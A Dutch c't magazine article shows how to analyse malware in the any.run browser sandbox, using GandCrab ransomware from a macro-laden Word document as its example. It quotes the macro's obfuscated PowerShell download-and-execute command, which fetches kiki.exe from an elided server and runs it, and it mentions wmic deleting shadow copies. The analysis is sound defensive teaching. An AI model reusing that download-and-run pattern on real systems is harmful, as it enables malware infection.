Malware bekijken zonder risico, via je browser

Marco den Teuling
1

Inhoudsopgave

De online sandbox any.run laat je zonder zorgen interactief omgaan met echte schadelijke code. Je kunt daarmee malware bekijken zonder risico, via je browser. Vaak krijg je daar veel informatie mee boven water – en het is nog leuk om te doen ook.

Online diensten die een geüpload bestand in een sandbox draaien, bieden handige informatie over hoe schadelijke code (malware) te werk gaat. Dat is een mooie aanvulling op de bekende VirusTotal-dienst van Google die virusscans met verschillende scanengines uitvoert en extra statistische informatie weergeeft over het bestand. Onder de op de dit moment beschikbare sandboxes is any.run de enige waar je hands-on kunt gaan met code en de duur van de analyse naar eigen inzicht kunt aanpassen.

Op deze manier krijg je malware op de korrel die probeert om een analyse lastig te maken via allerlei trucs. Voorbeelden zijn dat ze het uitvoeren van de payload of downloaden van een bestand van internet een aantal minuten vertragen of zelfs hele­maal niet uitvoeren als er geen toetsen­bord-input of muisklikken plaatsvinden.

malware bekijken browser any.run veilig analyse

De any.run-desktop is de ideale (veilige) speeltuin om malware en verdachte bestanden te analyseren.

Bij wat meer standaard sandboxes zorgen dit soort tactieken ervoor dat de reports niet de volledige informatie bevatten en je in het meest ongunstige geval een vals gevoel van veiligheid krijgt. Ook zogenaamde Action Scripts die random muisklikken en -bewegingen genereren, zijn geen vervanging voor doelgerichte acties van mensen.

Any.run biedt je (een vooral op muisbediening gebaseerde) bediening van de analyse-­omgeving via je browser. De beperkte versie is gratis. Een gratis account biedt je per sample tot vijf minuten analyse­tijd in een 32-bit Windows ­7-installatie. Dat is voldoende om de trucs van de meeste malwaresamples te omzeilen en ze in de beschermde omgeving van de sandbox wat gedetailleerder te bekijken.

De analyse-reports bieden in veel gevallen veel meer informatie dan andere sandboxes. We laten dat zien aan de hand van een voorbeeld van de ransomware Gandcrab. Deze malware werd massaal verspreid via spammails. De bijlage bevatte een Word-document met schadelijke macro’s waarmee Gandcrabs encryptiecode vanaf internet werd binnengehaald.
We hebben zo’n document geüpload naar any.run. Het report dat wordt samengesteld legt de totale infectieketen vast tot aan het versleutelen van bestanden. In dit artikel laten we zien hoe zo’n analyse in zijn werk gaat en wat je in het report allemaal tegenkomt. Je kunt ook zelf een kijkje nemen.

Momentopname

Bij de analyse van Gandcrab beginnen we eens niet helemaal vooraan, maar met de link naar het any.run-report. Alle reports die via een gratis any.run-account worden aangemaakt, inclusief de sample, zijn via zo’n link ­publiekelijk bereikbaar. Mogelijk vertrouwelijke documenten uploaden is dus geen goed idee!

De recente reports van andere gebruikers staan op de startpagina van de dienst (app.any.run). Of je komt via de navigatie links met ‘Public tasks’ uit bij de lijst met ‘Public submissions’. Daar kun je bestandseigenschappen zoals hash of naam of hosts waarmee contact wordt gelegd gebruiken als filter-optie. Ook tags maken het zoeken een stuk makkelijker. Ons Gandcrab-report is onder andere te vinden onder #ransomware, #gandcrab en #macros-on-open.

Bij de eerste blik op het report zie je dat het desktopdeel van de sandbox het grootste deel van de interface opeist. In dat deel kun je tijdens een draaiende analyse acties uitvoeren alsof je op je eigen pc bezig bent: een klik met je muis, maar ook een remote-clipboard en kopiëren van tekst naar en uit de sandbox is toegestaan. Daarover verderop meer.

Na de analyse geeft any.run alle belangrijke (zichtbare) activiteiten weer in een verzameling screenshots. Je kunt door de screenshots heen bladeren door je muis naar links en rechts te bewegen.

Op de screenshots in ons Gandcrab-report is de infectieprogressie te zien. Dat begint met het Word-document als lokmiddel. Het document is met een oudere versie van Microsoft Word gemaakt en moet volgens de handleiding werkend gekregen worden via het aanzetten van de compatibiliteits­modus. Als een gebruiker dat opvolgt, wordt in werkelijkheid de macro afgedraaid. In any.run staat dat echter standaard al ingeschakeld.

Zoals verwacht begint de echte ellende een paar screenshots verder. Gandcrab meldt dat hij op het systeem aanwezig is, versleutelt bestanden op de desktop en de fleurige bureaubladachtergrond wordt vervangen door een zwart vlak met rode tekst. De tekst heeft het over een losgeldeis die als een tekstbestand in elke submap van de versleutelde bestanden staat.

malware bekijken browser any.run veilig analyse GandCrab

De ransomware Gandcrab woekert welig door de sandbox en any.run-­gebruikers kunnen live meekijken.

Nieuw of revolutionair is any.runs screenshotfunctie zeker niet. Ook sandbox-­diensten als Hybrid Analysis en malwr.com leggen die momentopnames vast. Wat wel belangrijk is, is wat de laatste twee screenshots laten zien, namelijk het resultaat van meerdere interacties met de sandbox tijdens de analyse. Je ziet een submap met versleutelde bestanden en uiteindelijk ook de inhoud van het bericht van de ransomware. Dat bevat de opdracht om de anonieme Tor-browser te installeren en naar een specifieke onion-site te gaan. Daar staat meer informatie geparkeerd.

malware bekijken browser any.run veilig analyse GandCrab ransomware

Het tekstbestand dat GandCrab op de pc zet met instructies voor het betalen van losgeld.

Het maken van dat soort screenshots is (net als de rest van het risicoloze reilen en zeilen van de ransomware) alleen mogelijk in een sandbox-omgeving die continu tijdens de analyse een kijkje biedt op de desktop en de interactie met het besturings­systeem.

Click, paste, refresh

Vermoedelijk ben je nu nieuwsgierig geworden naar de interactiemogelijkheden binnen de sandbox. Om daar zelf mee aan de slag te gaan, hoef je niet met allerlei gevaarlijke bestanden op je eigen pc jong­leren. Een zelf in elkaar gedraaid Word- of tekstdocument met een paar letters werkt voor testdoeleinden net zo goed. Wil je toch gaan voor echte malware, download dan een sample uit de Public submissions. Dat wordt dan gedownload in een archief­bestand dat standaard is afgeschermd met het wachtwoord ‘infected’. Let op bij het openen van het bestand. Anders dan bij andere sandboxes maakt any.run van de samples geen ongevaarlijke .bin-bestanden, maar laat ze in origineel formaat.

malware bekijken browser any.run veilig verdacht filter

Alle gedraaide analyses zijn te bekijken via Public submissions. De ‘leuke’ pluk je er makkelijker uit door te filteren op malicious en suspicious.

Om je testdocument of sample weer bij any.run te uploaden, klik je links op New Task naast het plusteken. Nadat je een account hebt aangemaakt (gratis, geen verplichtingen) opent de sandbox het dan geüploade bestand. Word-documenten worden automatisch met Word 2010 geopend. Via de knop Environment rechtsboven in de interface zie je een lijst met alle geïnstalleerde programma’s. Office, Adobe Reader en standaardbrowsers zorgen er niet alleen voor dat de sandbox zo veel mogelijk lijkt op een normaal systeem, maar zo krijg je ook meer analyse-opties.

Dichtbij de Environment-knop zit een teller die de analysetijd aftelt. Standaard is dat 60 seconden. Met meerdere keren klikken op ‘Add 60s’ kun je tijd toevoegen, maar de maximumtijd is vijf minuten. Zo wordt het waarschijnlijker dat de malware bruikbare sporen in de sandbox achterlaat omdat de vertragingstactieken zijn verlopen en er genoeg tijd is om de remote server te benaderen om extra bestanden binnen te halen.

Met een gratis account kun je zo veel analyses draaien als je wilt. Als je ingelogd bent, kun je de acht laatste reports via de blauwe menubalk links direct selecteren. Daar zit ook de optie History, waar een lijst van alle oudere analyses staat.

Binnen het sandbox-systeem kun je (voor zover het kan) vrij met de muis bewegen. Je kunt niet alleen links- maar ook rechtermuisklikken gebruiken. In het contextmenu zit de editor Notepad++. Op die manier kun je met een simpele rechtermuisklik scrips of configuratiebestanden openen.

In de sandbox tekst invoeren kan ook via een remote-clipboard. Het door jezelf aangemaakte bestand is een handige manier om het clipboard te testen. Het clipboard opent als je op het onderste icoontje klikt in de toolbar links van de Environment-knop. Typ de tekst in het tekstvak en druk op Send. Als je in een tekstdocument via een rechtermuisklik dan kiest voor invoegen, verschijnt de tekst in beeld. Dat werkt ook de andere kant op. Kopieer de tekst in de sandbox met een rechtermuisklik en klik op Refresh in het remote-clipboard om de tekst tevoorschijn te halen.

Het clipboard is handig als het bestand dat je analyseert tekstinvoer verwacht, of als je verdachte stukken code uit de sandbox wilt halen. Het is wel jammer dat je zo maar maximaal 4 kB aan tekst kunt overhevelen.

Doorlezen is gratis, maar eerst even dit:

Dit artikel is met grote zorg samengesteld door de redactie van c’t magazine – het meest toonaangevende computertijdschrift van Nederland en België. Met zeer uitgebreide tests en praktische workshops biedt c’t de diepgang die je nergens online vindt.

Bekijk de abonnementen   Lees eerst verder

Tot op het kleinste detail

Nu gaan we weer terug naar ons voorbeeld. Waarschijnlijk is het al opgevallen dat er veel extra informatie onder de desktop en aan de rechterkant daarvan wordt getoond. Die informatie is belangrijk voor het analyseren van het report. De visuele weergave in het desktop-deel is niet voldoende om alle activiteiten van de malware vast te leggen. Schadelijke software als trojans en spyware willen graag lang op het systeem blijven rondhangen en dan stiekem onzichtbaar hun werk kunnen doen.

Ook de agressieve Gandcrab heeft zijn geheime kanten. De screenshots uit ons report laten niet zien hoe de ransomware na het openen van het Word-document precies op het systeem beland en vanuit welk proces hij opgestart is.

Om dat en nog meer sneaky verborgen activiteiten op het spoor te komen, logt any.run alle nieuw opgestarte processen, netwerkverbindingen, downloads en wijzigingen aan het besturingssysteem. Dat zit ook in de meeste andere sandboxes, maar anders dan bij die diensten toont any.run die activiteiten realtime tijdens het analyseren. En er wordt een timestamp aan toegevoegd in de vorm van (milli)seconden tussen de initialisatie van de analyseomgeving en de activiteit. Daardoor is het verloop ook bij een statisch report volledig transparant.

De processen die worden gestart, komen in de rechter schermhelft terecht. Als je er eentje aanklikt en More Info kiest, verschijnt onder ‘Advanced Details of Process’ een gedetailleerd overzicht van alle bijbehorende activiteiten. Bij de beoordeling daarvan is any.runs vaardigheid om de typische gedragingen van malware-­onderdelen te herkennen als gevaarlijk en de bijbehorende informatie erg handig.

malware bekijken browser any.run veilig analyse GandCrab proces

Any.run maakt voor elk gestart proces een gedetailleerd overzicht aan.

Een goed voorbeeld is als je WINWORD.exe op de proceslijst van de Gandcrab-­analyse aanklikt. De sandbox geeft dan aan dat het proces de commandlinetool cmd.exe opstart. De kans dat daar een macro achter schuilt, is erg groot.

Dat vermoeden wordt bevestigd als je daarna het cmd.exe-proces (voor de overzichtelijkheid ingesprongen weergegeven) kiest. Via ‘More Info’ krijg je de details van dat proces boven water en zie je daar het commando dat via de commandline wordt uitgevoerd. Het gaat om:

cmd /c powErshEll
(New-Object System.Net.WebClient).
DownloadFile(‘http://(…)/kiki.exe’,
‘%temp%\xkbkagcm.exe’);
start %temp%\xkbkagcm.exe

Het random combineren van grote en kleine letters zoals hier gedaan met ‘powEr­shEll’ is een typische rookgordijn-truc van macrocode.

Het commando opent een instantie van Powershell.exe. Via die route wordt een bestand met de naam kiki.exe van een server van de maker van de Gandcrab-ransomware binnengehaald. Daarna wordt het bestand als xkbkagcm.exe in de %temp%-map opgeslagen en uitgevoerd. Het bestand xkbkagcm.exe oftewel Gandcrab maakt na een tactisch tijdje wachten een child-proces van zichzelf en begint dan met versleutelen. Dan start ook de commandlinetool wmic.exe om schaduw­kopieën van de systeemstatus te verwijderen om daarmee het herstellen zonder het betalen van losgeld te voorkomen.

We gaan niet voor een nog diepere analyse van de trojan in dit artikel. Als je zelf graag wat dieper graven wilt en tegelijk wat handiger wilt worden met any.run, kijk dan eens bij het ‘Advanced Details of process’-deel van het child-proces van xkbkagcm.exe. Daar zie je onder andere de registersleutels die Gandcrab tijdens het versleutelen aanmaakt. Onder de kop ‘Modified Files’ zie je op welke bestandsformaten en mappen de ransomware zijn versleuteling loslaat. Daar zie je ook de ransomware-tekst (AAQPOJPEZZ-DECRYPT.txt). Die is te downloaden als je op de bijbehorende entry in de lijst met Modified Files klikt.

Ook de netwerkactiviteiten van de trojan worden gedetailleerd getoond. Het tabblad Connections bevat gedetailleerde logs van het dataverkeer tussen Gandcrab en meerdere command-and-control-­servers.

In plaats van stap voor stap door de processen te lopen, is er ook de eventlijst onderin de GUI. Die bevat alle activiteiten van de malware op chronologische volgorde met timestamp.
Verder is het leuk om door de verschillende weergaves van de any.run-reports te gaan, die bovenin de proceslijst staan. De weergave in de vorm van Processes Graph maakt de samenhang tussen de gestarte processen duidelijker. De ATT&CK Matrix legt de nadruk op de malwarespecifieke activiteiten. Bij ‘Tekst Report’ kun je extra statis­tische informatie over het bestandstype, headers en -hashes vinden.

Case closed

Voor een snelle analyse tussendoor is een gratis account bij any.run prima. Voor commercieel gebruik en een meer diepgaandere analyse is er een betaald abonnement. Vanaf ­89 dollar per maand krijg je een upload-optie van bestanden groter dan 16 MB, wordt de maximale analysetijd opgehoogd en kun je kiezen uit meerdere analyse­omgevingen zoals 32- en 64- bit versies van Windows Vista, 8.1 en 10. Daarnaast krijg je nog extra’s zoals video’s maken, team-opties en een reboot tijdens de analyse.

Ons voorbeeld laat zien dat any.run toegevoegde waarde heeft als de interactie met het geüploade bestand extra waardevolle informatie kan bieden. Er zijn scenario’s te bedenken waarbij de events-list van een standaard sandbox leeg blijft omdat interacties van groot belang zijn voor de werking. Denk aan macrocode die pas bij het sluiten van een document wordt uitgevoerd. Of de analyse van een verdacht installatiebestand dat om een installatiepad vraagt. Het gedetailleerde loggen van events en de extra informatie ronden het geheel netjes af.

(Olivia von Westernhagen, c’t magazine)

Lees uitgebreide achtergrondinfo in c't 05/2024

Deel dit artikel

Marco den Teuling
Marco den TeulingHad als eerste eigen computer ooit een 16-bit systeem, waar van de 48 kilobyte toch echt niet ‘genoeg voor iedereen’ was. Sleutelt graag aan pc’s, van de hardware tot het uitpluizen van de BIOS-instellingen. Vindt ‘Software as a Service’ een onbedoeld ironische naamgeving.

Lees ook

Raspberry Pi als NAS-systeem gebruiken? Dit moet je weten!

Wist je dat je een Raspberry Pi als Network Attached Storage (NAS) kunt gebruiken? Zo voldoet de Raspberry Pi 4 aan de belangrijkste eisen om dit te k...

Readly aanbieding: twee maanden gratis tijdschriften en kranten lezen

Sta jij voor het tijdschriftenschap eindeloos te twijfelen tussen wel tien verschillende magazines? Dan is Readly iets voor jou, want dan hoef je niet...

1 Praat mee
avatar
  Abonneer  
nieuwsteoudste
Laat het mij weten wanneer er
Perry
Lezer
Perry

Any.run is Russisch. Ik zou het niet vertrouwen. Misschien dat het als inzicht-verkrijger is ingericht om zo nieuwe malware te kunnen ontwikkelen.